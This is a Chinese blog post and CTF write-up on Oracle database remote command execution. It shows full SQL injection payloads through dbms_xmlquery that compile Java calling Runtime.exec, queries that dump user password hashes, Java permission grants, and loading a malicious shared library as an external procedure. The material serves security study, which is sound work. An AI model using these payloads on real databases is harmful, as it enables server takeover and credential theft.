前言
文章在先知社区首发
京麒 CTF ez_oracle 中出现了oracle有关的rce注入。但是由于对oracle不熟悉导致没写出来,现在来学习一下oracle针对于rce的学习。
环境搭建
oracle提权是有版本限制的,因此也是比较好玩的- -,这里选用oracle 11g 112010
https://www.oracle.com/partners/campaign/112010-win64soft-094461.html
注意这2个zip都需要下载,然后将他们解压到一个文件夹下,如下
最后只要一直往下点下一步就可以安装完毕了,安装完后会让你设置密码
设置完后就算安装结束了,只不过我这边本地不能用navicat去连接数据库。不知道为什么。
安装完后会有一个product文件夹,我们随便进去一个,然后进入BIN文件夹,就会看见sqlplus.exe,我们用它连接数据库就好了。
(图示为简单的命令执行)
Oracle 表结构&&基础语法查询
user_tables
1 | SQL> desc user_tables; |
该表比较重要,是当前用户表,里面储存着该用户的所有信息。
dba_tables
dba权限用户才可以查看的表,里面有系统里所有信息。表的结构和上述的user_tables一致
all_tables
当前用户可以查看的所有表,表结构也一样
other
- DBA_ALL_TABLES:DBA 用户所拥有的或有访问权限的对象和表
- ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表
- USER_ALL_TABLES:某一用户所拥有的对象和表
表的结构都一样
获取常见信息
- 版本 :
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
或者SELECT version FROM v$instance;
、
- 操作系统版本:
select banner from v$version where banner like 'TNS%'
- 当前数据库:
select global_name from global_name;
,select name from v$database;
,select instance_name from v$instance
,select sys.database_name from dual;
- 获取当前用户权限的所有数据库:
select distinct owner,table_name from all_tables;
- 获取所有表名:
select table_name from all_tables;
- 获取所有字段名:
select column_name from all_tab_columns where table_name='xxx';
- 获取当前用户:
select user from dual;
- 获取所有数据库用户:
select username from all_users order by username;
、select name from sys.user$;
- 获取数据库用户的密码hash:
SELECT name, password, astatus FROM sys.user$;
、SELECT name, spare4 FROM sys.user$;
- 当前用户的所有权限:
select * from session_privs;
- 获取用户角色(DBA OR DBO):
select grantee,granted_role from dba_role_privs;
或者select distinct grantee from dba_sys_privs;
特性
在oracle中字符串的连接符用||
,并且单引号和双引号表示的意思也不一样'xxx'
表示的是xxx这个字符串,而"xxx"
就等价于一个变量xxx,这是不同的点,需要注意,另外oracle需要严格的select from 语法,我们需要select xxx from dual
CURD
oracle的增删改查和mysql其实差不多。
建表
1 | CREATE TABLE test1 ( |
增加新列
ALTER TABLE test1 ADD photo VARCHAR2(20);
修改列
修改tname列的varchar长度为40ALTER TABLE test1 MODIFY tname VARCHAR2 ( 40 );
删除列
ALTER TABLE test1 DROP COLUMN photo2;
重命名某列
ALTER TABLE test1 RENAME COLUMN tname TO username;
重命名表
RENAME test1 TO test2;
删除表
DROP TABLE testLearn;
插入数据
insert into test(tid,username,photo) values(100,'test','test');
更新数据
update test set username='admin' where tid=100;
删除数据
delete from xxx where xxx=xxx
其实增删改查操作和mysql数据库完全一致。没什么不一样的
Java Source
创建Java source
oracle有一个特别的地方就是他可以创建java代码,并且编译运行,也就是说假如我们获取了一个oracle数据库的dba权限,那么我们就获取了任意Java代码执行的权限。这是比较危险的一个特性
官方是给了一个例子的,它使用的语法是CREATE JAVA SOURCE NAMED "xxxx" AS <Java Code>
使用这一段语法可以创建一段java源码保存为oracle的一个对象,现在我使用如上语法创建一个输出hello world的函数。
1 | CREATE JAVA SOURCE NAMED "Hello" AS |
查询 Java Souce Object ID
select OBJECT_ID from all_objects where object_name ='Hello';
这里有2个的原因是我创建了2个。所以会有这样的bug,不过影响不大。
高效语法
为了避免上述的问题,根据官方doc
我们可以将语句改造为
1 | CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "Hello" AS |
删除 Java Source
DROP JAVA SOURCE "Hello"
Function
有了Java source后我们就可以利用function去创建一个oracle函数,便于我们后续调用命令
创建Java Source
1 | CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "Hello" AS |
创建Functioncreate or replace function say(nothing in varchar2) return varchar2 as language java name 'Hello.say(java.lang.String) return String'
调用Function
赋权问题
这里其实会有权限问题,因为我之前设置过,当我们创建完Fucntion后调用,其实是不会执行的,因为需要给用户加权限
1 | DECLARE |
上述3个语句分别对应3个赋值,一般假如是DBA的话用第一个语句就可以了,我们只缺少FilePermission,假如有别的会在报错信息中显示,我们只要添加对应权限即可。
上述所讲到的也就是Oracle中命令执行的核心了,即调用任意Java代码,
Lib 加载
oracle也可以和mysql一样加载一个so文件,因此这里其实也有命令执行的隐患,我们可以如此命令执行。
官方文档中也是给出了我们如何添加第三方lib的方法。我们首先需要自己编译生成一个恶意so文件。
1 | #include "evil.h" |
evil.h
1 |
|
然后将其编译为恶意的so文件。gcc -shared -fPIC evil.c -o evil.so
之后我们和上述说的Java source的创建方式一样,创建一个Lib
1 | create or replace library lib_evil as '/home/oracle/evil.so'; |
成功创建Lib后也是创建一个function,以lib里的代码为模板,这里参考一下网址
https://medium.com/codex/extending-the-sql-and-pl-sql-with-custom-external-functions-and-procedures-214067761061
1 | create or replace function cmd(str varchar2) return varchar2 as language c library lib_evil name "cmd"; |
创建好后直接运行会出现如下情况
报错Extproc agent:Invalid DLL Path,这一点上述文章中有提到,我们需要设置一下dll path
我们在$ORACLE_HOME/hs/admin/extproc.ora
文件的末尾加上一行代码
这样设置完后我们再次执行系统命令
成功的执行了系统命令
Oracle 注入下的RCE
上述介绍的Java Source
、Function
、Lib
是RCE的几个原理,那在实际环境中,我们从外部注入,只能执行单条语句的时候,我们该怎么办呢?
dbms_xmlquery
影响版本:oracle 10g、11g,部分版本
这里我的环境是11.0.2.0版本。
在上述低版本中这个函数才可以进行RCE,高版本都被修复了,这个函数本身是用来解析一段XML内容的,但是可以用来执行我们的SQL指令,可以把多条语句一起执行,起到多语句执行的目的
1 | select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual; |
1 | select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual; |
然后可以查询一下object是否存在
1 | select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'; |
最后直接命令执行
sql storage
这个方法其实就是和sh文件一样,把多个语句放到一个sql文件,然后让oracle执行。也就是说我们需要有一个任意文件写入的点位
permission.sql
1 | DECLARE |
rce.sql
1 | create or replace and resolve java source named "oraexec" as |
把这两个文件放到一个位置
最后就直接rce了。
dbms_java.runjava/dbms_java_test_funcall
1 | -- 11g |
当然这几种我都无法实现
提示没有wrapper类,说明还是少了什么文件的。
[京麒CTF 2023] ez_oracle
参考:https://exp10it.cn/2023/12/2023-%E4%BA%AC%E9%BA%92-ctf-ez_oracle-writeup/#ez_oracle
1 | import logging |
题目就是这样,一个oracle注入,做了一些过滤,然后是任意sql语句执行。然后这一题首先我们是不可以使用任何Java代码中的RCE函数。首先oralce内置的jdk好像是1.6,其次题目waf中过滤了所有命令执行函数,因此是行不通的(System.load确实也不可以)
那么这一题的思路其实就回到了之前讲到的lib 加载了,和mysql的udf提权有点类似,写一个恶意so进去,然后给他注册了。
首先创建Java Source,创建起来,可以看到后台是创建成功了的
1 | sql=create or replace and compile java source named "JavaTool" as |
这段代码会写入一个恶意的so文件。接下来该做的就是创建function了。sql=create or replace function java_write(path varchar2) return varchar2 as language java name 'JavaTool.write(java.lang.String) return java.lang.String';
接下来调用这个java_write写入恶意so
1 | BEGIN |
在这里select被过滤了,因此我们需要使用别的语句去调用方法,这里用的是if语句。
在这里报错了,原因是目录问题,我们只可以写入ORCLE_HOME,而其他文件位置我们是不知道的。
改为
1 | BEGIN |
第二次报错是因为没有FilePermission,我们给他加上即可。这里绕过关键字用||
拼贴就好
1 | begin |
然后写入成功
看xz的wp他说这里进行了gzip压缩,假如不压缩会产生java source过长无法执行的问题,其实执行是肯定可以的,只是服务端设置的timeout是5s,因此导致执行失败。(gzip压缩后还可以被识别?)
接下来创建lib即可
1 | create or replace library lib_evils as '/opt/oracle/product/23c/dbhomeFree/evil.so'; |
然后创建rce的function
1 | create or replace function rce(str varchar2) return varchar2 as language c library lib_evils name "cmd"; |
创建完毕后我们只需要和上面一样,用IF语句去调用rce方法。
1 | BEGIN |
这里其实还会遇到这个问题,也就是dll path,上述提到的问题,我不知道题目靶场的$ORACLE_HOME/hs/admin/extproc.ora
里面设置的是什么,又或者是我的oracle版本过高(23c)导致的,低版本的oracle不需要设置这个?无论如何我现在需要修改一下文件内容
也可以把那个直接改为SET EXTPROC_DLLS=ANY
直接开放,我估计题目靶场可能就是这么写的。
在这一步并没出现xz师傅说到的不能执行/bin目录下的指令,可能题目做了多余限制吧,假如有限制的话,那我们就只能用oracle根目录下的指令了,比如自带的perl,perl可以外带flag。
误区
我一直搞错那个lib的创建问题,问题出现在
1 | create or replace function rce(str varchar2) return varchar2 as language c library lib_evils name "cmd"; |
这里的name "cmd"
一定要和你so文件内的函数名字一样,这不是给这个function取名字,这部分通常用于在调用外部库的过程中指定要执行的函数或子例程的名称。
About this Post
This post is written by Boogipop, licensed under CC BY-NC 4.0.